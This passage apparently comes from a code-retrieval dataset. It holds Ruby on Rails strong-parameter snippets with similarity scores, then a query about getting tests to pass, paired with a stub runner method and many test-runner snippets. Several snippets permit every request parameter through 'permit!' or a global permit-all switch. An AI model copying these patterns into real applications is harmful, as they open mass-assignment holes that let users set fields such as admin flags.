college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
get every test to pass before coding runner below
def runner # code runner here end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def run_tests\n puts \"Running exactly #{@spec.size} tests.\"\n @spec.each do |test_case|\n sleep test_case.wait_before_request\n response = send_request_for(test_case)\n Checker.available_plugins.each do |plugin|\n result = @expectation.check(plugin, response, test_case)\n if not result.success?\n putc \"F\"\n @results << result\n break\n else\n if plugin == Checker.available_plugins.last\n @results << result\n putc \".\"\n end\n end\n end\n end\n end", "def test_all\n @results['test_start'] = Time.now()\n passed = []\n boot_vm() if @options[:vmm_enabled]\n prep\n freeze_vm() if @options[:vmm_enabled]\n @log.info \"RUNNING NO-SERVICE TEST\"\n passed << one_test(@config['init_scenario'])\n # Stop testing if our initial test fails.\n unless passed.first == true\n @log.error \"Initial setup failed.. sleeping 60 seconds for debugging.\"\n sleep 60\n stop_vm() if @options[:vmm_enabled]\n return passed\n end\n freeze_vm() if @options[:vmm_enabled]\n @log.info \"RUNNING TESTS\"\n scenarios = get_scenarios\n test_counter = 0\n scenarios.each do |scenario|\n test_counter += 1\n @log.info \"Running test for #{scenario} - #{test_counter} of #{scenarios.size}\"\n passed << one_test(scenario)\n end\n stop_vm() if @config[:vmm_enabled]\n all_passed = passed.select{|p| p == false}.size == 0\n @log.info \"Number of tests run : #{passed.size}\"\n @log.info \"Result of ALL tests: Passed? #{all_passed}\"\n @results['test_stop'] = Time.now()\n @results['elapsed_time'] = @results['test_stop'] - @results['test_start']\n return all_passed\n end", "def test_cases; end", "def passed_tests\n self.tests.select do |test|\n test.status == 'passed'\n end\n end", "def final_test\n return unless MiniApivore.all_test_ran?\n\n @errors = MiniApivore.prepare_untested_errors\n assert(@errors.empty?, @errors.join(\"\\n\"))\n\n # preventing duplicate execution\n MiniApivore.runnable_list << \"#{self.class}::#{__method__}_runned\"\n end", "def run_tests\n tests_passed = true\n %w(desktop mobile kc_dm).each do |profile|\n tests_passed &= execute_test(profile)\n end\n tests_passed\n end", "def running_test_case; end", "def all_tests_pass\n cucumber_guard = ::Guard.guards({ :name => 'cucumber', :group => 'puppet_tests'}).first\n cucumber_passed = cucumber_guard.instance_variable_get(\"@failed_paths\").empty?\n rspec_guard = ::Guard.guards({ :name => 'rspec', :group => 'puppet_tests'}).first\n rspec_passed = rspec_guard.instance_variable_get(\"@failed_paths\").empty?\n return rspec_passed && cucumber_passed\nend", "def my_tests\n end", "def tests; end", "def tests; end", "def passed_checks\n all_checks_which_pass\n end", "def passes\n count - failures - errors - skips\n end", "def report\n\t\t\tputs \"Tests: #{@ok} ok, #{@fail} failures.\"\n\t\t\tif (@fail > 0)\n\t\t\t\tputs \"*** THERE WERE FAILURES *** \"\n\t\t\telse \n\t\t\t\tputs \"*** ALL TESTS PASSED ***\"\n\t\t\tend\n\t\tend", "def all_external_test_runs_passed?(test_types = nil)\n external_tests_blocking(test_types).empty?\n end", "def doTests( *tests )\n tests.find_all {|name,data|\n ! doTest(name)\n }\nend", "def go_run_tests\n @status = :running\n Thread.new do\n begin\n test_cases = @test_suite.sources\n\n @mutex.synchronize do\n @test_cases = test_cases\n @test_results = {}\n end\n\n @test_suite.run_tests do |result|\n @mutex.synchronize do\n @test_results[result[:source]] = result[:result]\n end\n end\n\n rescue => e\n puts e\n print e.bracktrace.join(\"\\n\")\n ensure\n @status = :ran\n end\n\n end\n end", "def run\n @testcases.each do |test|\n print \"[ RUN... ] \".green + \" #{name} #{test.name}\\r\"\n\n if test.run\n puts \"[ OK ] \".green + \" #{name} #{test.name}\"\n else\n puts \"[ FAIL ] \".red + \" #{name} #{test.name}\"\n puts\n puts \"Command that failed:\"\n test.explain\n return false\n end\n end\n\n true\n end", "def test_steps; end", "def test_steps; end", "def uninit_ok_tests\n if (!@num_tests_run.nil? && !@num_tests_failed.nil?)\n @num_tests_ok += @num_tests_run - @num_tests_failed\n end\n end", "def before_test(test); end", "def before_test(test); end", "def generate_alltest\n\n end", "def running_test_step; end", "def _test_pages_available\n #execute this code x number of times\n @custom_number_of_users.times do |i|\n puts 'Running tests for user #'+i.to_s\n # assert_section nil\n end\n end", "def testing_begin(files)\n end", "def unitTests\n\t\ttotalTests = 12\n\t\ttotalFailed = 0\n\t\toutput = \"\"\n\t\t@debug = true\n\n\t\t#CLEAR DB BEFORE RUNNING TEST. DEFINITELY CRUDE BUT THE ONLY THING I COULD GET WORKING\n\t\tself.TESTAPI_resetFixture\n\n\t\t#Test1: \"Does not allow a non-registered user login\"\n\t\tresponse = self.login(\"NonUser\",\"pass0\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test1\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test2: \"Allows a user that supplies no password get added\"\n\t\tresponse = self.add(\"user2\",\"\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test2\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test3: \"Allows a user with a username and password get added\"\n\t\tresponse = self.add(\"user3\",\"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test3\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test4: \"Doesn't allow an already added user get added again\"\n\t\tresponse = self.add(\"user3\",\"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test4\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test5: \"Doesn't allow a blank username get added\"\n\t\tresponse = self.add(\"\",\"pass5\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -3\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test5\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test6: \"It allows a username and password of 128 characters to get added\"\n\t\tresponse = self.add(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test6\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test7: \"Does not allow a username greater than 128 characters\"\n\t\tresponse = self.add(\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"pass7\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -3\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test7\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test8: \"Does not allow a password greater than 128 characters\"\n\t\tresponse = self.add(\"user8\",\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -4\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test8\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test9: \"Allows a registered user with a password to login and counts number of logins\"\n\t\tresponse = self.login(\"user3\", \"pass3\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test9\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test10: \"Allows a registered user without a password to login and counts number of logins\"\n\t\tresponse = self.login(\"user2\", \"\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 2\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test10\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test11: \"Doesn't allow a user with wrong password to login\"\n\t\tresponse = self.login(\"user3\", \"pass2\")\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != -1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test11\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t#Test12: \"Sucessfully Deletes the DB with call to TESTAPI_reset_fixture\"\n\t\tresponse = self.TESTAPI_resetFixture\n\t\tresult = response[\"result\"]\n\t\toutput += response[\"output\"]\n\t\tif result != 1\n\t\t\ttotalFailed += 1\n\t\t\tputs \"Failed Test12\"\n\t\tend\n\t\tputs \"Failed: \" + totalFailed.to_s\n\t\tputs \"result: \" + result.to_s\n\t\tputs \"output: \" + output.to_s\n\n\t\t@debug = false\n\t\trender json: {:totalTests => totalTests, :nrFailed => totalFailed, :output => output}\n\t\t\n\tend", "def run\n test_using_random_sample\n test_using_first_of\n end", "def done\n puts 'Done running tests'\n end", "def all_failing\n all(\"#qunit-tests .fail\")\n end", "def passing_tests\n return self.product_tests.includes(:test_executions).select do |test|\n test.execution_state == :passed\n end\n end", "def run_all\n passed = Runner.run(['spec'], cli)\n if passed\n Formatter.notify \"How cool, all works!\", :image => :success\n else\n Formatter.notify \"Failing... not there yet.\", :image => :failed\n end\n end", "def run_tests_under(config, options, root)\n summary = {}\n test_list(File.join($work_dir,root)).each do |path|\n name = path.sub(\"#{$work_dir}/\", '')\n puts \"\", \"\", \"#{name} executing...\"\n result = TestWrapper.new(config,options,path).run_test\n puts \"#{name} returned: #{result.fail_flag}\"\n summary[name] = result.fail_flag\n end\n return summary\nend", "def init_tests\n unless @init_tests\n @test_duration = 0\n @num_tests_run = 0\n @num_tests_failed = 0\n @num_tests_ok = 0\n @num_tests_skipped = 0\n @init_tests = true\n end\n end", "def before_test_case(*args)\n @test_steps =[]\n @scenario_tags = []\n @failed_step = {}\n end", "def test_step; end", "def scenarios\n @runner.done_scenarios\n end", "def define_tests\n @ours.each do |pkg|\n their = @theirs.find { |x| x.name == pkg.name }\n class_eval do\n define_method(\"test_#{pkg.name}_#{pkg.version}\") do\n PackageVersionCheck.new(ours: pkg, theirs: their).run\n end\n end\n end\n end", "def external_test_runs_passed_for?(test_type)\n test_types = ExternalTestType.get(test_type).with_related_types\n current_runs = current_external_test_runs_for(test_types)\n current_runs.any? && current_runs.all?(&:passed_ok?)\n end", "def test_passed(array)\n last_item = array.length - 1\n test_name = array[last_item - 1]\n test_suite_verify(array[@class_name])\n printf \"%-40s PASS\\n\", test_name\n\n return unless @xml_out\n\n @array_list.push ' <testcase classname=\"' + @test_suite + '\" name=\"' + test_name + '\"/>'\n end", "def execute_all &decision\n @result = nil\n @exception = nil\n\n @test_lines.each do |line|\n break if execute_line line, &decision\n end\n unless @exception\n #puts \"=> \" + @result.inspect\n end\n end", "def call(*tests, env:)\n summary = execute_all(tests, env)\n List.new(\n List.new(Symbol.new(\"success\"), List.new(*summary[:success])),\n List.new(Symbol.new(\"failures\"), List.new(*summary[:failures]))\n )\n end", "def run_test(tests, ints_to_test, current_test_name)\n require \"./primality_tests/\" + current_test_name + \".rb\"\n tests[current_test_name.to_sym][:result] = []\n ints_to_test.each {|int|\n tests[current_test_name.to_sym][:result] << send(current_test_name, int)\n }\nend", "def failures; end", "def failures; end", "def failures; end", "def process(files) #called at end of script\n if files.class==Array \n files.each {|f| \n puts \"\\n\\n--------------------\\n#{f}:\\n\\n\"\n result=system(\"#{$PROGRAM_NAME} #{f} #{ARGV}\")\n puts \"\\n\\nERRORS IN TEST #{f}!!!\\n\\n\" unless result\n }\n else\n test_name=File.basename(files).sub(/\\..*?$/,'')\n test_case=Class.new(Test::Unit::TestCase)\n Object.const_set(:\"Test#{test_name.capitalize}\", test_case)\n mk_test_context(files, test_case)\n end\nend", "def run\n\t\t @stats.tests += 1\n\t\t\tputs \"Testi: #{@name}\"\n\t\t\tctx = Context.new\n\t\t\tbegin\n\t\t\t\tctx.instance_eval(&@block)\n\t\t\trescue TestAbort # we don't really care if it aborts.\n\t\t\trescue Exception => ex\n\t\t\t\tctx.fail\n\t\t\t\t@stats.failed += 1\n\t\t\t\tputs ex.inspect\n\t\t\t\tputs ex.backtrace.join(\"\\n\")\n\t\t\tend\n\t\t\tif ctx.failed?\n\t\t\t\tputs \" # FAIL!!! ############\"\n\t\t\t\t@stats.failed += 1\n\t\t\telsif ctx.skipped?\n\t\t\t\tputs \" = skipped ============\"\n\t\t\t\t@stats.skipped += 1\n\t\t\telse\n\t\t\t\tputs \" - ok.\"\n\t\t\t\t@stats.passed += 1\n\t\t\tend\n\t\t\tputs\n\t\tend", "def test_case; end", "def print_results\n if !@failures.empty?\n @failures.each do |test|\n pout \"\\nFailed: #{test[:desc]}\"\n puts test[:result]\n # print a newline for easier reading\n puts \"\"\n end\n abort\n else\n puts \"All passed!\".green\n end\nend", "def test_contains_13_eachsuit\n assert true == false\n end", "def test_runnable_methods_random\n @assertion_count = 0\n\n random_tests_1 = sample_test_case 42\n random_tests_2 = sample_test_case 42\n random_tests_3 = sample_test_case 1_000\n\n assert_equal random_tests_1, random_tests_2\n refute_equal random_tests_1, random_tests_3\n end", "def compare_tests(test_a, test_b); end", "def compare_tests(test_a, test_b); end", "def test_setup\r\n \r\n end", "def test_truth\n end", "def start_tests(files)\n end", "def run(selected_tests)\n # Test names (ordered) to be performed in game, per tests suite\n # Hash< Symbol, Array<String> >\n in_game_tests = {}\n selected_tests.each do |tests_suite, suite_selected_tests|\n if @tests_suites[tests_suite].respond_to?(:run_test)\n # Simple synchronous tests\n suite_selected_tests.each do |test_name|\n # Store statuses after each test just in case of crash\n set_statuses_for(tests_suite, [[test_name, @tests_suites[tests_suite].run_test(test_name)]])\n end\n end\n # We run the tests from the game itself.\n in_game_tests[tests_suite] = suite_selected_tests if @tests_suites[tests_suite].respond_to?(:in_game_tests_for)\n end\n return if in_game_tests.empty?\n\n # Keep track of the mapping between tests suites and in-game tests, per in-game tests suite.\n # Associated info is:\n # * *tests_suite* (Symbol): The tests suite that has subscribed to the statuses of some in-game tests of the in-game tests suite.\n # * *in_game_tests* (Array<String>): List of in-game tests that the tests suite is interested in.\n # * *selected_tests* (Array<String>): List of selected tests for which in-game tests are useful.\n # Hash< Symbol, Array< Hash< Symbol, Object > > >\n in_game_tests_subscriptions = {}\n # List of all in-game tests to perform, per in-game tests suite\n # Hash< Symbol, Array< String > >\n merged_in_game_tests = {}\n # Get the list of in-game tests we have to run and that we will monitor\n in_game_tests.each do |tests_suite, suite_selected_tests|\n in_game_tests_to_subscribe = @tests_suites[tests_suite].in_game_tests_for(suite_selected_tests)\n in_game_tests_to_subscribe.each do |in_game_tests_suite, selected_in_game_tests|\n selected_in_game_tests_downcase = selected_in_game_tests.map(&:downcase)\n in_game_tests_subscriptions[in_game_tests_suite] = [] unless in_game_tests_subscriptions.key?(in_game_tests_suite)\n in_game_tests_subscriptions[in_game_tests_suite] << {\n tests_suite: tests_suite,\n in_game_tests: selected_in_game_tests_downcase,\n selected_tests: suite_selected_tests\n }\n merged_in_game_tests[in_game_tests_suite] = [] unless merged_in_game_tests.key?(in_game_tests_suite)\n merged_in_game_tests[in_game_tests_suite] = (merged_in_game_tests[in_game_tests_suite] + selected_in_game_tests_downcase).uniq\n end\n end\n in_game_tests_runner = InGameTestsRunner.new(@config, @game)\n in_game_tests_runner.run(merged_in_game_tests) do |in_game_tests_suite, in_game_tests_statuses|\n # This is a callback called for each in-game test status change.\n # Update the tests results based on what has been run in-game.\n # Find all tests suites that are subscribed to those in-game tests.\n # Be careful that updates can be given for in-game tests suites we were not expecting\n if in_game_tests_subscriptions.key?(in_game_tests_suite)\n in_game_tests_subscriptions[in_game_tests_suite].each do |tests_suite_subscription|\n selected_in_game_tests_statuses = in_game_tests_statuses.slice(*tests_suite_subscription[:in_game_tests])\n next if selected_in_game_tests_statuses.empty?\n\n tests_suite = @tests_suites[tests_suite_subscription[:tests_suite]]\n tests_suite.statuses = tests_suite.\n parse_auto_tests_statuses_for(tests_suite_subscription[:selected_tests], { in_game_tests_suite => selected_in_game_tests_statuses }).\n select { |(test_name, _test_status)| tests_suite_subscription[:selected_tests].include?(test_name) }\n end\n end\n end\n end", "def define_tests\n Apt.update if Process.uid.zero? # update if root\n @lister.packages.each do |pkg|\n class_eval do\n define_method(\"test_#{pkg.name}_#{pkg.version}\") do\n PackageVersionCheck.new(pkg).run\n end\n end\n end\n end", "def test_contains_four_eachface\n assert true == false\n end", "def check test, block\n res = []\n begin\n block.call\n rescue ApiPi::AssertionError => e\n res << e.message\n end\n failed = !res.empty?\n failed ? @failure_count += 1 : @success_count += 1\n puts \"\\tERROR: #{res.first}\\n\" if failed\n end", "def runTest(browser)\n puts \"Step 2: At step description here\"\n #Do shit here\n #....\n puts \"Step 3: ....\"\n #Do more shit here\n #....\n\n puts \"Expected Result:\"\n puts \"Result that we expect to happen.\"\n\n if true #Test passed condition here\n self.passed = true\n puts \"TEST PASSED. Add some description/details here\"\n else #Test failed condition here\n self.passed = false\n puts \"TEST FAILED. Show what we have screwed up\"\n end\n end", "def testcase_processed\n\t\n\t\tcontinue = true\n\n\t\tthread = ::Thread.new do\n\t\t\n\t\t\tkill_browser\n\n\t\t\tcase @current_pass\n\t\t\t\twhen 1\n\t\t\t\t\t# Initial verification\n\t\t\t\t\t@genopts.keep\n\t\t\t\twhen 2\n\t\t\t\t\t# Reducing elements\n\t\t\t\t\t@elems.keep\n\t\t\t\twhen 3\n\t\t\t\t\t# Reducing idx's\n\t\t\t\t\t@idxs.keep\n\t\t\t\twhen 4\n\t\t\t\t\t# Final verification\n\t\t\t\t\t# booo, pass 4 has failed!?!.\n\t\t\t\t\tcontinue = false\n\t\t\t\telse\n\t\t\t\t\tcontinue = false\n\t\t\tend\n\n\t\t\t# while we still have testcases to generate...\n\t\t\tif( continue )\n\t\t\t\t# we go again an try the next testcase in a new browser instance\n\t\t\t\tspawn_browser\n\t\t\telse\n\t\t\t\t@reduction_server.stop\n\t\t\t\t::Thread.current.kill\n\t\t\tend\n\t\tend\n\t\t\n\t\tthread.join\n\t\t\n\t\treturn continue\n\tend", "def passes; end", "def passes; end", "def rspec_test(nodes)\n node_manager.assert_known(nodes)\n for node in nodes\n node_manager.find(node).rspec_test\n end\n end", "def test_checklist_status_values_not_started\n test = @product.product_tests.checklist_tests.first\n passing, failing, not_started, total = checklist_status_values(test)\n\n assert_equal 0, passing\n assert_equal 0, failing\n assert_equal 1, not_started\n assert_equal 1, total\n end", "def test\n\n puts \"Performing test tasks:\"\n\n puts \"Test 1 \" + (generate_intcode([1, 0, 0, 0, 99]) === [2, 0, 0, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 2 \" + (generate_intcode([2, 3, 0, 3, 99]) === [2, 3, 0, 6, 99] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 3 \" + (generate_intcode([2, 4, 4, 5, 99, 0]) === [2, 4, 4, 5, 99, 9801] ? \"succeeded\": \"failed\") + \"!\"\n puts \"Test 4 \" + (generate_intcode([1, 1, 1, 4, 99, 5, 6, 0, 99]) === [30, 1, 1, 4, 2, 5, 6, 0, 99] ? \"succeeded\": \"failed\") + \"!\"\n\nend", "def run_all\n run_suite(@suite)\n end", "def completed_tests()\n test_array = []\n self.problems.each do |problem|\n problem.tests.each do |test|\n test_array.push(test)\n end\n end\n test_array\n end", "def run\n test_files.each do |file|\n eval File.read(file)\n end\n\n results = []\n @tests.each_pair do |name, test|\n results << test.call(@config)\n end\n results.reject!(&:nil?)\n results.reject!(&:empty?)\n results.flatten!\n results\n end", "def check_all_here\n end", "def final_test_methods\n return []\n end", "def run_all\n @last_run_states = @persistence ? @persistence.read('final_states', {}) : {}\n @skipped = {}\n run_suite(@suite)\n @persistence.store('final_states', @last_run_states) if @persistence\n end", "def run(selected_tests)\n unknown_tests_suites = selected_tests.keys - @available_tests_suites\n log \"[ In-game testing #{@game.name} ] - !!! The following in-game tests suites are not supported: #{unknown_tests_suites.join(', ')}\" unless unknown_tests_suites.empty?\n tests_to_run = selected_tests.reject { |tests_suite, _tests| unknown_tests_suites.include?(tests_suite) }\n return if tests_to_run.empty?\n\n FileUtils.mkdir_p \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData\"\n tests_to_run.each do |tests_suite, tests|\n # Write the JSON file that contains the list of tests to run\n File.write(\n \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_#{tests_suite}_Run.json\",\n JSON.pretty_generate(\n 'stringList' => {\n 'tests_to_run' => tests\n }\n )\n )\n # Clear the AutoTest test statuses that we are going to run\n statuses_file = \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_#{tests_suite}_Statuses.json\"\n next unless File.exist?(statuses_file)\n\n File.write(\n statuses_file,\n JSON.pretty_generate('string' => JSON.parse(File.read(statuses_file))['string'].delete_if { |test_name, _test_status| tests.include?(test_name) })\n )\n end\n auto_test_config_file = \"#{@game.path}/Data/SKSE/Plugins/StorageUtilData/AutoTest_Config.json\"\n # Write the JSON file that contains the configuration of the AutoTest tests runner\n File.write(\n auto_test_config_file,\n JSON.pretty_generate(\n 'string' => {\n 'on_start' => 'run',\n 'on_stop' => 'exit'\n }\n )\n )\n out ''\n out '=========================================='\n out '= In-game tests are about to be launched ='\n out '=========================================='\n out ''\n out 'Here is what you need to do once the game will be launched (don\\'t launch it by yourself, the test framework will launch it for you):'\n out '* Load the game save you want to test (or start a new game).'\n out ''\n out 'This will execute all in-game tests automatically.'\n out ''\n out 'It is possible that the game crashes during tests:'\n out '* That\\'s a normal situation, as tests don\\'t mimick a realistic gaming experience, and the Bethesda engine is not meant to be stressed like that.'\n out '* In case of game crash (CTD), the Modsvaskr test framework will relaunch it automatically and resume testing from when it crashed.'\n out '* In case of repeated CTD on the same test, the Modsvaskr test framework will 